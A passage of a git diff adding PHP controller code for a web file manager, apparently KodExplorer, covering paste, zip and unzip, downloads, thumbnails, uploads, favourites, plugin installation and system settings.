+ if (!path_writeable($pathPast)) show_json(LNG('no_permission_write'),false,$data);
+
+ if ($copyType == 'copy') {
+ }else{
+ $_SESSION['pathCopy'] = json_encode(array());
+ $_SESSION['pathCopyType'] = '';
+ }
+ session_write_close();
+
+ $GLOBALS['kodPathAuthCheck'] = true;//粘贴来源检测权限;和粘贴到目标位置冲突
+ $listNum = count($clipboard);
+ if ($listNum == 0) {
+ show_json(LNG('clipboard_null'),false,$data);
+ }
+ for ($i=0; $i < $listNum; $i++) {
+ $pathCopy = _DIR($clipboard[$i]['path']);
+ //重置pathType等数据;从回收站剪切出来不处理
+ if($copyType == 'cute' && $GLOBALS['kodPathType'] == KOD_USER_RECYCLE){
+ }else{
+ _DIR($this->in['path']);//重置pathType等数据
+ }
+ $filename = get_path_this($pathCopy);
+ $filenameOut = iconv_app($filename);
+ if (!file_exists($pathCopy)){
+ $error .= "{$filenameOut}".LNG('copy_not_exists')."";
+ continue;
+ }
+ if ($clipboard[$i]['type'] == 'folder'){
+ if ($pathCopy == substr($pathPast,0,strlen($pathCopy))){
+ $error .="{$filenameOut}".LNG('current_has_parent')."";
+ continue;
+ }
+ }
+ $autoPath = get_filename_auto($pathPast.$filename,'',$this->config['user']['fileRepeat']);
+ if($pathCopy == $autoPath){
+ continue;//复制粘贴到原始位置
+ }
+ $filename = get_path_this($autoPath);
+ if ($copyType == 'copy') {
+ Hook::trigger("explorer.pathCopyBefore",$pathCopy,$autoPath);
+ copy_dir($pathCopy,$autoPath);
+ Hook::trigger("explorer.pathCopyAfter",$autoPath);
+ }else{
+ Hook::trigger("explorer.pathMoveBefore",$pathCopy,$autoPath);
+ move_path($pathCopy,$autoPath,'',$this->config['user']['fileRepeat']);
+ Hook::trigger("explorer.pathMoveAfter",$pathCopy,$autoPath);
+ }
+ $data[] = _DIR_OUT(iconv_app($autoPath));
+ }
+ if ($copyType == 'copy') {
+ $msg=LNG('past_success').$error;
+ }else{
+ $msg=LNG('cute_past_success').$error;
+ }
+ $state = ($error ==''?true:false);
+ show_json($msg,$state,$data);
+ }
+ public function fileDownload(){
+ file_put_out($this->path,true);
+ }
+ //文件下载后删除,用于文件夹下载
+ public function fileDownloadRemove(){
+ $path = get_path_this(_DIR_CLEAR($this->in['path']));
+ $path = iconv_system(USER_TEMP.$path);
+ $fileName = substr(get_path_this($path),10);//前10个字符为随机前缀
+ file_put_out($path,true,$fileName);
+ }
+ public function zipDownload(){
+ $userTemp = iconv_system(USER_TEMP);
+ if(!file_exists($userTemp)){
+ mkdir($userTemp);
+ }else{//清除未删除的临时文件,一天前
+ $list = path_list($userTemp,true,false);
+ $maxTime = 3600*6;//自动清空一天前的缓存
+ if ($list['fileList']>=1) {
+ for ($i=0; $i < count($list['fileList']); $i++) {
+ $item = $list['fileList'][$i];
+ $createTime = $item['mtime'];//最后修改时间
+ if(time() - $createTime >$maxTime){
+ del_file($item['path'].$item['name']);
+ }
+ }
+ }
+ }
+ $zipFile = $this->zip($userTemp,rand_string(9).'-',false);//下载文件夹删除;不检测和记录空间变更
+ show_json(LNG('zip_success'),true,get_path_this($zipFile));
+ }
+ public function zip($zipPath='',$namePre = "",$checkSpaceChange = true){
+ ignore_timeout();
+ $zipList = json_decode($this->in['dataArr'],true);
+ $listNum = count($zipList);
+ $files = array();
+ for ($i=0; $i < $listNum; $i++) {
+ $item = rtrim(_DIR($zipList[$i]['path']),'/');//处理成系统 文件编码
+ if(file_exists($item)){
+ $files[] = $item;
+ }
+ }
+ if(count($files)==0){
+ show_json(LNG('not_exists'),false);
+ }
+
+ //to type
+ $fileType = 'zip';
+ if(isset($this->in['fileType'])){
+ $fileType = $this->in['fileType'];
+ }
+
+ //指定目录
+ $basicPath = $zipPath;
+ if ($zipPath==''){
+ $basicPath =get_path_father($files[0]);
+ }
+ if (!path_writeable($basicPath)) {
+ show_json(LNG('no_permission_write'),false);
+ }
+
+ if (count($files) == 1){
+ $pathThisName=get_path_this($files[0]);
+ }else{
+ $pathThisName=get_path_this(get_path_father($files[0]));
+ }
+ $zipname = $basicPath.$namePre.$pathThisName.'.'.$fileType;
+ $zipname = get_filename_auto($zipname,'','rename');//已存在重命名
+
+ if($checkSpaceChange){Hook::trigger("explorer.zipBefore",$zipname);}
+ $result = KodArchive::create($zipname,$files);
+ if($checkSpaceChange){Hook::trigger("explorer.zipAfter",$zipname);}
+
+ if ($zipPath=='') {
+ if(file_exists($zipname)){
+ $info = LNG('zip_success').LNG('size').":".size_format(filesize($zipname));
+ show_json($info,true,_DIR_OUT(iconv_app($zipname)) );
+ }else{
+ show_json(LNG('error'),false);
+ }
+ }else{
+ return iconv_app($zipname);
+ }
+ }
+ public function unzip(){
+ ignore_timeout();
+ $path = $this->path;
+ if(!file_exists($path)){
+ show_json(LNG("not_exists"),false);
+ }
+ $name = get_path_this($path);
+ $name = substr($name,0,strrpos($name,'.'));
+ $ext = get_path_ext($path);
+
+ $unzipToAdd = '';
+ $unzipTo = get_path_father($path);
+ if(isset($this->in['toThis'])){//直接解压
+ }else if (isset($this->in['pathTo'])) {//解压到指定位置
+ $unzipTo = _DIR($this->in['pathTo']);
+ }else{
+ $unzipToAdd = $name;
+ }
+
+ $this->_mkdir($unzipTo);
+ if (!path_writeable($unzipTo)){//所在目录不可写
+ show_json(LNG('no_permission_write'),false);
+ }
+ $unzipTo = $unzipTo.$unzipToAdd;
+ Hook::trigger("explorer.unzipBefore",$path,$unzipTo);
+
+ //解压缩
+ $unzipPart = '-1';
+ if(isset($this->in['unzipPart'])){
+ $unzipPart = $this->in['unzipPart'];
+ }
+ $result = KodArchive::extract($path,$unzipTo,$unzipPart);
+ if (!$result['code']) {
+ show_json("Error : ".$result['data'],false);
+ }else{
+ Hook::trigger("explorer.unzipAfter",$path);
+ show_json(LNG('unzip_success'));
+ }
+ }
+
+ public function unzipList(){
+ if(isset($this->in['index'])){
+ $download = isset($this->in['download'])?true:false;
+ KodArchive::filePreview($this->path,$this->in['index'],$download,$this->in['name']);
+ }else{
+ $result = KodArchive::listContent($this->path);
+ show_json($result['data'],$result['code']);
+ }
+ }
+
+ public function imageRotate(){
+ $cm = new ImageThumb($this->path,'file');
+ $result = $cm->imgRotate($this->path,intval($this->in['rotate']));
+ if($result){
+ show_json(LNG('success'));
+ }else{
+ show_json(LNG('error'),false);
+ }
+ }
+ //缩略图
+ public function image(){
+ $thumbWidth = 250;
+ if(isset($this->in['thumbWidth'])){
+ $thumbWidth = intval($this->in['thumbWidth']);//自定义预览大图
+ }
+ if(substr($this->path,0,4) == 'http'){
+ header('Location: '.$this->in['path']);
+ exit;
+ }
+ if (@filesize($this->path) <= 1024*50 ||
+ !function_exists('imagecolorallocate') ||
+ get_path_ext($this->path) == 'gif') {//小于50k、不支持gd库、gif图 不再生成缩略图
+ file_put_out($this->path,false);
+ return;
+ }
+ if (!is_dir(DATA_THUMB)){
+ mk_dir(DATA_THUMB);
+ }
+ $image = $this->path;
+ $imageMd5 = @md5_file($image).'_'.$thumbWidth;//文件md5
+ if (strlen($imageMd5)<5) {
+ $imageMd5 = md5($image).'_'.$thumbWidth;
+ }
+ $imageThumb = DATA_THUMB.$imageMd5.'.png';
+ if (!file_exists($imageThumb)){//如果拼装成的url不存在则没有生成过
+ if (get_path_father($image)==DATA_THUMB){//当前目录则不生成缩略图
+ $imageThumb=$this->path;
+ }else {
+ $cm = new ImageThumb($image,'file');
+ $cm->prorate($imageThumb,$thumbWidth,$thumbWidth);//生成等比例缩略图
+ }
+ }
+ if (!file_exists($imageThumb) ||
+ filesize($imageThumb)<100){//缩略图生成失败则使用原图
+ $imageThumb=$this->path;
+ }
+ file_put_out($imageThumb,false);
+ }
+
+ // 远程下载
+ public function serverDownload() {
+ $uuid = 'download_'.$this->in['uuid'];
+ if ($this->in['type'] == 'percent') {//获取下载进度
+ if (isset($_SESSION[$uuid])){
+ $info = $_SESSION[$uuid];
+ $result = array(
+ 'supportRange' => $info['supportRange'],
+ 'uuid' => $this->in['uuid'],
+ 'length' => (int)$info['length'],
+ 'name' => $info['name'],
+ 'size' => (int)@filesize(iconv_system($info['path'])),
+ 'time' => mtime()
+ );
+ show_json($result);
+ }else{
+ show_json('uuid_not_set',false);
+ }
+ }else if($this->in['type'] == 'remove'){//取消下载;文件被删掉则自动停止
+ $theFile = str_replace('.downloading','',$_SESSION[$uuid]['path']);
+ del_file($theFile.'.downloading');
+ del_file($theFile.'.download.cfg');
+ unset($_SESSION[$uuid]);
+ show_json('remove_success',false);
+ }
+ //下载
+ $savePath = _DIR(rawurldecode($this->in['savePath']));
+ $this->_mkdir($savePath);
+ if (!$savePath || !path_writeable($savePath)){
+ show_json(LNG('no_permission_write'),false);
+ }
+ $url = rawurldecode($this->in['url']);
+ if(!request_url_safe($url)){show_json('url error!',false);}
+ if(isset($this->in['name'])){
+ $filename = rawurldecode($this->in['name']);
+ }else{
+ $header = url_header($url);
+ if (!$header){
+ show_json(LNG('download_error_exists'),false);
+ }
+ $filename = $header['name'];
+ }
+
+ $saveFile = $savePath._DIR_CLEAR($filename);
+ if (!checkExt($saveFile)){//不允许的扩展名
+ $saveFile = $savePath.date('h:i:s').'.dat';
+ }
+ $saveFile = get_filename_auto(iconv_system($saveFile),'',$this->config['user']['fileRepeat']);
+ $saveFileTemp = $saveFile.'.downloading';
+ Hook::trigger("explorer.serverDownloadBefore",$saveFile);
+ session_start();
+ $_SESSION[$uuid] = array(
+ 'supportRange' => $header['supportRange'],
+ 'length'=> $header['length'],
+ 'path' => $saveFileTemp,
+ 'name' => get_path_this($saveFile)
+ );
+ session_write_close();
+ $result = Downloader::start($url,$saveFile);
+ session_start();unset($_SESSION[$uuid]);session_write_close();
+ if($result['code']){
+ $name = get_path_this(iconv_app($saveFile));
+ Hook::trigger("explorer.serverDownloadAfter",$saveFile);
+ show_json(LNG('download_success'),true,_DIR_OUT(iconv_app($saveFile)) );
+ }else{
+ show_json($result['data'],false);
+ }
+ }
+
+ //通用缩略图
+ public function fileThumb(){
+ Hook::trigger("explorer.fileThumbStart",$this->path);
+ }
+ //通用预览
+ public function fileView(){
+ Hook::trigger("explorer.fileViewStart",$this->path);
+ if(!isset($this->in['path'])){
+ show_tips('参数错误!');
+ }
+ $this->tpl = TEMPLATE.'api/';
+ $this->display('view.html');
+ }
+ //通用保存
+ public function fileSave(){
+ Hook::trigger("explorer.fileSaveStart",$this->path);
+ }
+ //代理输出
+ public function fileProxy(){
+ $download = isset($_GET['download']);
+ $filename = isset($_GET['downFilename'])?$_GET['downFilename']:false;
+ file_put_out($this->path,$download,$filename);
+ }
+
+
+ /**
+ * 上传,html5拖拽 flash 多文件
+ */
+ public function fileUpload(){
+ $savePath = _DIR($this->in['upload_to']);
+ if (!path_writeable($savePath)) show_json(LNG('no_permission_write'),false);
+ if ($savePath == '') show_json(LNG('upload_error_big'),false);
+
+ if (strlen($this->in['fullPath']) > 1) {//folder drag upload
+ $fullPath = _DIR_CLEAR(rawurldecode($this->in['fullPath']));
+ $fullPath = get_path_father($fullPath);
+ $fullPath = iconv_system($fullPath);
+ $savePath = $savePath.$fullPath;
+ mk_dir($savePath);
+ // if ($this->_mkdir($savePath.$fullPath)) {
+ // $savePath = $savePath.$fullPath;
+ // }
+ }
+ //分片上传
+ $repeatAction = $this->config['user']['fileRepeat'];
+ $tempDir = iconv_system(USER_TEMP);
+ mk_dir($tempDir);
+ if (!path_writeable($tempDir)) show_json(LNG('no_permission_write'),false);
+ upload($savePath,$tempDir,$repeatAction);
+ }
+
+ //分享根目录
+ private function _pathShare(&$list){
+ $arr = explode(',',$GLOBALS['kodPathId']);
+
+ //不展示用户时;屏蔽获取其他人分享列表
+ if( $arr[0] != $_SESSION['kodUser']['userID'] && !$this->_rootListUser()){
+ return;
+ }
+ $shareList = systemMember::userShareList($arr[0]);
+ $beforeShareId = $GLOBALS['kodPathIdShare'];
+ foreach ($shareList as $key => $value) {
+ $thePath = _DIR(KOD_USER_SHARE.':'.$arr[0].'/'.$value['name']);
+ $value['path'] = $value['name'];
+ $value['atime']='';$value['ctime']='';
+ $value['mode']='';$value['isReadable'] = 1;
+ $value['isWriteable'] = 1;
+ $value['exists'] = intval(file_exists($thePath));
+ $value['metaInfo'] = 'path-self-share';
+ $value['menuType'] = "menu-share-path";
+ if(is_file($thePath)){
+ $value['size'] = get_filesize($thePath);;
+ }
+
+ //分享列表oexe
+ if(get_path_ext($value['name']) == 'oexe' && is_file($thePath) ){
+ $json = json_decode(@file_get_contents($thePath),true);
+ if(is_array($json)) $value = array_merge($value,$json);
+ }
+ if ($value['type']=='folder') {
+ $value['ext'] = 'folder';
+ $list['folderList'][] = $value;
+ }else{
+ $list['fileList'][] = $value;
+ }
+ }
+ $list['pathReadWrite'] = 'readable';
+ $GLOBALS['kodPathIdShare'] = $beforeShareId;
+ if($arr[0] == $this->user['userID']){//自己分享列表
+ $list['shareList'] = $shareList;
+ }
+ return $list;
+ }
+
+ //我的收藏根目录
+ private function _pathFav(&$list){
+ $favData=new FileCache(USER.'data/fav.php');
+ $favList = $favData->get();
+ $GLOBALS['kodPathAuthCheck'] = true;//组权限发生变更。导致访问groupPath 无权限退出问题
+ foreach($favList as $key => $val){
+ $thePath = _DIR($val['path']);
+ $cell = array(
+ 'name' => $val['name'],
+ 'ext' => $val['ext'],
+ 'menuType' => "menu-fav-path",
+ 'atime' => '',
+ 'ctime' => '',
+ 'mode' => '',
+ 'isReadable' => 1,
+ 'isWriteable' => 1,
+ 'exists' => intval(file_exists($thePath)),
+ 'metaInfo' => 'tree-fav',
+
+ 'path' => $val['path'],
+ 'type' => $val['type'],
+ 'open' => false,
+ 'isParent' => false//$hasChildren
+ );
+
+ if( strstr($val['path'],KOD_USER_SHARE)||
+ strstr($val['path'],KOD_USER_FAV) ||
+ strstr($val['path'],KOD_GROUP_ROOT_SELF) ||
+ strstr($val['path'],KOD_GROUP_ROOT_ALL)
+ ){
+ $cell['exists'] = 1;
+ }
+
+ //分享列表oexe
+ if(get_path_ext($val['name']) == 'oexe' && is_file($thePath)){
+ $json = json_decode(@file_get_contents($thePath),true);
+ if(is_array($json)) $val = array_merge($val,$json);
+ }
+ if ($val['type']=='folder') {
+ $list['folderList'][] = $cell;
+ }else{
+ $list['fileList'][] = $cell;
+ }
+ }
+ $GLOBALS['kodPathAuthCheck'] = false;
+ $GLOBALS['kodPathType'] = KOD_USER_FAV;
+ $list['pathReadWrite'] = 'readable';
+ return $list;
+ }
+
+ //用户组列表
+ private function _pathGroup(&$list,$groupRootType){
+ if($groupRootType == KOD_GROUP_ROOT_SELF){
+ $dataList = $this->_groupSelf();
+ }else{
+ $dataList = $this->_groupTree('1');
+ }
+ $GLOBALS['kodPathAuthCheck'] = true;//组权限发生变更。导致访问groupPath 无权限退出问题
+ foreach($dataList as $key => $val){
+ $cell = array(
+ 'name' => $val['name'],
+ 'menuType' => "menu-group-root",
+ 'atime' => '',
+ 'ctime' => '',
+ 'mode' => '',
+ 'isReadable' => 1,
+ 'isWriteable' => 1,
+ 'exists' => 1,
+
+ 'path' => $val['path'],
+ 'ext' => $val['ext'],
+ 'type' => 'folder',
+ 'open' => false,
+ 'isParent' => false//$val['isParent']
+ );
+ if ($val['type']=='folder') {
+ $list['folderList'][] = $cell;
+ }else{
+ $list['fileList'][] = $cell;
+ }
+ }
+ $GLOBALS['kodPathAuthCheck'] = false;
+ $GLOBALS['kodPathType'] = $groupRootType;
+ $list['pathReadWrite'] = 'readable';
+ return $list;
+ }
+
+ //获取文件列表&哦exe文件json解析
+ private function _path($dir,$listFile=true,$checkChildren=false){
+ $exName = explode(',',$this->config['settingSystem']['pathHidden']);
+ //当前目录
+ $thisPath = _DIR_OUT(iconv_app($dir));
+ if($GLOBALS['kodPathType'] == KOD_USER_SHARE && strpos(trim($dir,'/'),'/')===false ) {
+ $thisPath = $dir;
+ }
+ $list = array(
+ 'folderList' => array(),
+ 'fileList' => array(),
+ 'info' => array(),
+ 'pathReadWrite' =>'notExists',
+ 'thisPath' => $thisPath
+ );
+ //真实目录读写权限判断
+ if (!file_exists($dir)) {
+ $list['pathReadWrite'] = "notExists";
+ }else if (path_writeable($dir)) {
+ $list['pathReadWrite'] = 'writeable';
+ }else if (path_readable($dir)) {
+ $list['pathReadWrite'] = 'readable';
+ }else{
+ $list['pathReadWrite'] = 'notReadable';
+ }
+
+ //处理
+ if ($dir===false){
+ return $list;
+ }else if ($GLOBALS['kodPathType'] == KOD_USER_SHARE &&
+ !strstr(trim($this->in['path'],'/'),'/')) {//分享根目录 {userShare}:1/ {userShare}:1/test/
+ $list = $this->_pathShare($list);
+ }else if ($GLOBALS['kodPathType'] == KOD_USER_FAV) {//收藏根目录 {userFav}
+ $list = $this->_pathFav($list);
+ }else if ($GLOBALS['kodPathType'] == KOD_GROUP_ROOT_SELF) {//自己用户组目录;KOD_GROUP_ROOT_SELF
+ $list = $this->_pathGroup($list,$GLOBALS['kodPathType']);
+ }else if ($GLOBALS['kodPathType'] == KOD_GROUP_ROOT_ALL) {//全部用户组目录;KOD_GROUP_ROOT_ALL
+ $list = $this->_pathGroup($list,$GLOBALS['kodPathType']);
+ }else{
+ $listFile = path_list($dir,$listFile,true);//$checkChildren
+ $list['folderList'] = $listFile['folderList'];
+ $list['fileList'] = $listFile['fileList'];
+ }
+ $fileListNew = array();
+ $folderListNew = array();
+ foreach ($list['fileList'] as $key => $val) {
+ if (in_array($val['name'],$exName)) continue;
+ $val['ext'] = get_path_ext($val['name']);
+ if ($val['ext'] == 'oexe' && !isset($val['content'])){
+ $path = iconv_system($val['path']);
+ $json = json_decode(@file_get_contents($path),true);
+ if(is_array($json)) $val = array_merge($val,$json);
+ }
+ $fileListNew[] = $val;
+ }
+ foreach ($list['folderList'] as $key => $val) {
+ if (in_array($val['name'],$exName)) continue;
+ $folderListNew[] = $val;
+ }
+ $list['fileList'] = $fileListNew;
+ $list['folderList'] = $folderListNew;
+
+ $list = _DIR_OUT($list);
+ $this->_roleCheckInfo($list);
+
+
+ return $list;
+ }
+ private function _roleCheckInfo(&$list){
+ if(!$GLOBALS['kodPathType']){
+ $list['info'] = array("pathType"=>'',"role"=>'',"id"=>'','name'=>'');
+ return;
+ }
+ $list['info']= array(
+ "pathType" => $GLOBALS['kodPathType'],
+ "role" => $GLOBALS['isRoot']?'owner':'guest',
+ "id" => $GLOBALS['kodPathId'],
+ 'name' => '',
+ );
+
+ if ($GLOBALS['kodPathType'] == KOD_USER_SHARE) {
+ $GLOBALS['kodPathId'] = explode(':',$GLOBALS['kodPathId']);
+ $GLOBALS['kodPathId'] = $GLOBALS['kodPathId'][0];//id 为前面
+ $list['info']['id'] = $GLOBALS['kodPathId'];
+ $user = systemMember::getInfo($GLOBALS['kodPathId']);
+ $list['info']['name'] = $user['name'];
+
+ //自己的分享子目录
+ if($GLOBALS['kodPathId'] == $this->user["userID"]){
+ $list['info']['role'] = "owner";
+ }
+ if($GLOBALS['isRoot']){
+ $list['info']['adminRealPath'] = get_path_father($GLOBALS['kodPathPre']);
+ }
+ }
+ //自己管理的目录
+ if ($GLOBALS['kodPathType']==KOD_GROUP_PATH ||
+ $GLOBALS['kodPathType']==KOD_GROUP_SHARE) {
+ $group = systemGroup::getInfo($GLOBALS['kodPathId']);
+ $list['info']['name'] = $group['name'];
+ $auth = systemMember::userAuthGroup($GLOBALS['kodPathId']);
+ if ($auth) {
+ $list['info']['role'] = 'owner';
+ $list['groupSpaceUse'] = $group['config'];//自己
+
+ //群组权限展示
+ $role = $this->config['pathRoleGroup'][$auth];
+ $roleArr = role_permission_arr($role['actions']);
+ $list['info']['groupRole'] = array(
+ 'name' => $role['name'],
+ 'style' => $role['style'],
+ 'authArr' => $roleArr
+ );
+ }
+ if($GLOBALS['isRoot']){
+ $list['groupSpaceUse'] = $group['config'];//自己
+ $list['info']['role'] = 'owner';
+ $list['info']['adminRealPath'] = $GLOBALS['kodPathPre'];
+ }
+ }
+ }
+}
diff --git a/app/controller/fav.class.php b/app/controller/fav.class.php
new file mode 100644
index 0000000..99bf897
--- /dev/null
+++ b/app/controller/fav.class.php
@@ -0,0 +1,82 @@
+sql=new FileCache(USER.'data/fav.php');
+ }
+
+ /**
+ * 获取收藏夹json
+ */
+ public function get() {
+ show_json($this->sql->get());
+ }
+
+ /**
+ * 添加
+ */
+ public function add() {
+ $name = $this->in['name'];
+ $path = $this->in['path'];
+ if($this->sql->get($name)){//已存在则自动重命名
+ $index = 0;
+ while ($this->sql->get($name.'('.$index.')')) {
+ $index ++;
+ }
+ $name = $name.'('.$index.')';
+ }
+ $res=$this->sql->set(
+ $name,
+ array(
+ 'name' => $name,
+ 'path' => $path,
+ 'ext' => $this->in['ext'],
+ 'type' => $this->in['type']
+ )
+ );
+ show_json(LNG('success'));
+ }
+
+ /**
+ * 编辑
+ */
+ public function edit() {
+ $this->in['name'] = $this->in['name'];
+ $this->in['path'] = $this->in['path'];
+ $this->in['nameTo'] = $this->in['nameTo'];
+ $newFav = $this->sql->get($this->in['name']);
+ if(!isset($newFav['type'])){
+ $newFav['type'] = 'folder';
+ }
+ //查找到一条记录,修改为该数组
+ $toArray=array(
+ 'name'=>$this->in['nameTo'],
+ 'path'=>$this->in['pathTo'],
+ 'type'=>$newFav['type']
+ );
+ $this->sql->remove($this->in['name']);
+ if($this->sql->set($this->in['nameTo'],$toArray)){
+ show_json(LNG('success'));
+ }
+ show_json(LNG('error_repeat'),false);
+ }
+
+ /**
+ * 删除
+ */
+ public function del() {
+ $this->in['name'] = $this->in['name'];
+ if($this->sql->remove($this->in['name'])){
+ show_json(LNG('success'));
+ }
+ show_json(LNG('error'),false);
+ }
+}
diff --git a/app/controller/pluginApp.class.php b/app/controller/pluginApp.class.php
new file mode 100644
index 0000000..c71e80e
--- /dev/null
+++ b/app/controller/pluginApp.class.php
@@ -0,0 +1,223 @@
+ignore index;
+ public function to() {
+ $route = $this->in['URLremote'];
+ if(count($route) >= 3){
+ $app = clear_html($route[2]);
+ $action = $route[3];
+
+ if(count($route) == 3){
+ $action = 'index';
+ }
+ $model = $this->loadModel('Plugin');
+ if(!$model->checkAuth($app)){
+ if(!$_SESSION['kodLogin']){
+ show_tips("出错了!您尚未登录",APP_HOST,3);
+ }
+ show_tips("出错了!插件未开启,或您没有{$app}插件的权限!");
+ }
+
+ $appConfig = $model->getConfig($app);
+ if(!$appConfig['pluginAuthOpen'] && !$this->checkAccessPlugin()){
+ if(!$_SESSION['kodLogin']){
+ show_tips("出错了!您尚未登录",APP_HOST,3);
+ }
+ show_tips("出错了!插件未开启,或您没有{$app}插件的权限");
+ }
+ Hook::trigger("pluginRun.before",$app.'Plugin.'.$action);
+ Hook::trigger($app.'Plugin.'.$action.'.before');
+ Hook::apply($app.'Plugin.'.$action);
+ Hook::trigger($app.'Plugin.'.$action.'.after');
+ Hook::trigger("pluginRun.after",$app.'Plugin.'.$action);
+ }
+ }
+
+ //权限认证
+ private function checkAccessPlugin(){
+ if( $_SESSION['kodLogin'] == true ||
+ $_SESSION['accessPlugin'] == 'ok' ||
+ $this->checkAccessShare()
+ ){
+ return true;
+ }
+ return false;
+ }
+ private function checkAccessShare(){
+ if(!isset($this->in['path'])){
+ return false;
+ }
+ $share = KOD_USER_SHARE;
+ if(substr(urldecode($this->in['path']),0,strlen($share)) == $share){
+ return true;
+ }
+ return false;
+ }
+
+ //plugin manager
+ public function index() {
+ $this->display('index.html');
+ }
+
+ public function appList(){
+ $model = $this->loadModel('Plugin');
+ $list = $model->viewList();
+ show_json($list);
+ }
+
+ public function changeStatus(){
+ if( !isset($this->in['app']) ||
+ !isset($this->in['status'])){
+ show_json(LNG('data_not_full'),false);
+ }
+ $app = $this->in['app'];
+ $status = $this->in['status']?1:0;
+ $model = $this->loadModel('Plugin');
+
+ //启用插件则检测配置文件,必填字段是否为空;为空则调用配置
+ if($status){
+ $config = $model->getConfig($app);
+ $package = $model->getPackageJson($app);
+ $needConfig = false;
+ foreach($package['configItem'] as $key=>$item) {
+ if( (isset($item['require']) && $item['require']) &&
+ (!isset($item['value']) || $item['value'] === '' || $item['value'] === null) &&
+ (!isset($config[$key]) || $config[$key] == "")
+ ){
+ $needConfig = true;
+ break;
+ }
+ }
+ if($needConfig){
+ show_json('needConfig',false);
+ }
+ }
+ $model->changeStatus($app,$status);
+ $list = $model->viewList();
+ show_json($list);
+ }
+
+ public function setConfig(){
+ if( !$this->in['app'] ||
+ !$this->in['value']){
+ show_json(LNG('data_not_full'),false);
+ }
+ $json = $this->in['value'];
+ $app = $this->in['app'];
+ $model = $this->loadModel('Plugin');
+
+ //重置为默认配置
+ if($json == 'reset'){
+ $json = $model->getConfigDefault($app);
+ }else{
+ if(!is_array($json)){
+ show_json($json,false);
+ }
+ }
+ $model->changeStatus($app,1);
+ $model->setConfig($app,$json);
+ show_json(LNG('success'));
+ }
+
+ // download=>fileSize=>unzip=>remove
+ public function install(){
+ if(!preg_match("/^[0-9a-zA-Z_]*$/",$this->in['app'])) show_json("error!",false);
+ $app = _DIR_CLEAR($this->in['app']);
+ $appPath = PLUGIN_DIR.$app.'.zip';
+ $appPathTemp = $appPath.'.downloading';
+ switch($this->in['step']){
+ case 'check':
+ $info = $this->pluginInfo($app);
+ if(!is_array($info)){
+ show_json(false,false);
+ }
+ echo json_encode($info);
+ break;
+ case 'download':
+ if(!is_writable(PLUGIN_DIR)){
+ show_json(LNG("no_permission_write").': '.PLUGIN_DIR,false);
+ }
+ $info = $this->pluginInfo($app);
+ if(!$info || !$info['code']){
+ show_json(LNG('error'),false);
+ }
+ $result = Downloader::start($info['data'],$appPath);
+ show_json($result['data'],!!$result['code'],$app);
+ break;
+ case 'fileSize':
+ if(file_exists($appPath)){
+ show_json(filesize($appPath));
+ }
+ if(file_exists($appPathTemp)){
+ show_json(filesize($appPathTemp));
+ }
+ show_json(0,false);
+ break;
+ case 'unzip':
+ //hook log
+ $GLOBALS['isRoot'] = 1;
+ if(!file_exists($appPath)){
+ show_json(LNG("error"),false);
+ }
+ $result = KodArchive::extract($appPath,PLUGIN_DIR.$app.'/');
+ del_file($appPathTemp);
+ del_file($appPath);
+ show_json($result['data'],!!$result['code']);
+ break;
+ case 'remove':
+ del_file($appPathTemp);
+ del_file($appPath);
+ show_json(LNG('success'));
+ break;
+ case 'update':
+ show_json(Hook::apply($app.'Plugin.update'));
+ break;
+ default:break;
+ }
+ }
+ private function pluginInfo($app){
+ $api = $this->config['settings']['pluginServer'].'plugin/install';
+ $param = array(
+ "app" => $app,
+ "version" => KOD_VERSION,
+ "versionHash" => $this->config['settingSystem']['versionHash'],
+ "systemOS" => $this->config['systemOS'],
+ "phpVersion" => PHP_VERSION,
+ "channel" => INSTALL_CHANNEL,
+ "lang" => I18n::getType()
+ );
+ $info = url_request($api,'POST',$param);
+ $result = false;
+ if($info && $info['data']){
+ $result = json_decode($info['data'],true);
+ }
+ return $result;
+ }
+
+ public function unInstall(){
+ if( !$this->in['app']){
+ show_json(LNG('data_not_full'),false);
+ }
+ if(!preg_match("/^[0-9a-zA-Z_]*$/",$this->in['app'])) show_json("error!",false);
+ $model = $this->loadModel('Plugin');
+ $model->remove($this->in['app']);
+ del_dir(PLUGIN_DIR.$this->in['app']);
+ $list = $model->viewList();
+ show_json($list);
+ }
+}
diff --git a/app/controller/setting.class.php b/app/controller/setting.class.php
new file mode 100644
index 0000000..4bac86f
--- /dev/null
+++ b/app/controller/setting.class.php
@@ -0,0 +1,147 @@
+display('index.html');
+ }
+
+ /**
+ * 用户首页展示
+ */
+ public function slider() {
+ switch ($this->in['slider']) {
+ case 'about':show_json(file_get_contents(LANGUAGE_PATH.I18n::getType().'/about.html'));break;
+ case 'help':show_json(file_get_contents(LANGUAGE_PATH.I18n::getType().'/help.html'));break;
+ case 'member':break;
+ case 'fav':break;
+ case 'user':
+ case 'theme':
+ case 'wall':
+ show_json(array(
+ 'settingAll' => $this->config['settingAll'],
+ 'user' => $this->config['user'],
+ 'wallpageDesktop' => $this->config['settingSystem']['wallpageDesktop'],
+ 'wallpageLogin' => $this->config['settingSystem']['wallpageLogin'],
+ ));
+ break;
+ case 'system':
+ if($GLOBALS['isRoot']){
+ if(isset($this->in['env_check'])){
+ show_json(php_env_check());
+ }
+ $result = $this->config['settingSystem'];
+ unset($result['systemPassword']);
+ show_json($result,true);
+ }else{
+ show_json('error',false);
+ }
+ break;
+ default:break;
+ }
+ }
+
+ public function phpInfo(){
+ phpinfo();
+ }
+
+
+ //管理员 系统设置全局数据
+ public function systemSetting(){
+ $settingFile = USER_SYSTEM.'system_setting.php';
+ $data = json_decode($this->in['data'],true);
+ if (!$data) {
+ show_json(LNG('error'),false);
+ }
+ $setting = $GLOBALS['config']['settingSystem'];
+ foreach ($data as $key => $value){
+ if ($key=='menu') {
+ $setting[$key] = $value;
+ }else{
+ $setting[$key] = rawurldecode($value);
+ }
+ }
+ //为了保存更多的数据;不直接覆盖文件 $data->setting_file;
+ FileCache::save($settingFile,$setting);
+ show_json(LNG('success'));
+ }
+
+ public function systemTools(){
+ $action = $this->in['action'];
+ switch($action){
+ case 'clearCache':$this->_clearCache();break;
+ case 'clearSession':$this->_clearSession();break;
+ case 'clearUserRecycle':$this->_clearUserRecycle();break;
+ default:break;
+ }
+ show_json(LNG('success'),true);
+ }
+ private function _clearSession(){
+ del_dir(KOD_SESSION);
+ }
+ private function _clearCache(){
+ del_dir(TEMP_PATH);
+ mk_dir(TEMP_PATH.'log');
+ mk_dir(TEMP_PATH.'thumb');
+ }
+ private function _clearUserRecycle(){
+ $sql = systemMember::loadData();
+ $user_arr = $sql->get();
+ foreach ($user_arr as $key => $user) {
+ $userPath = iconv_system(USER_PATH.$user['path']."/");
+ $pathArr = array(
+ $userPath.'data/temp',
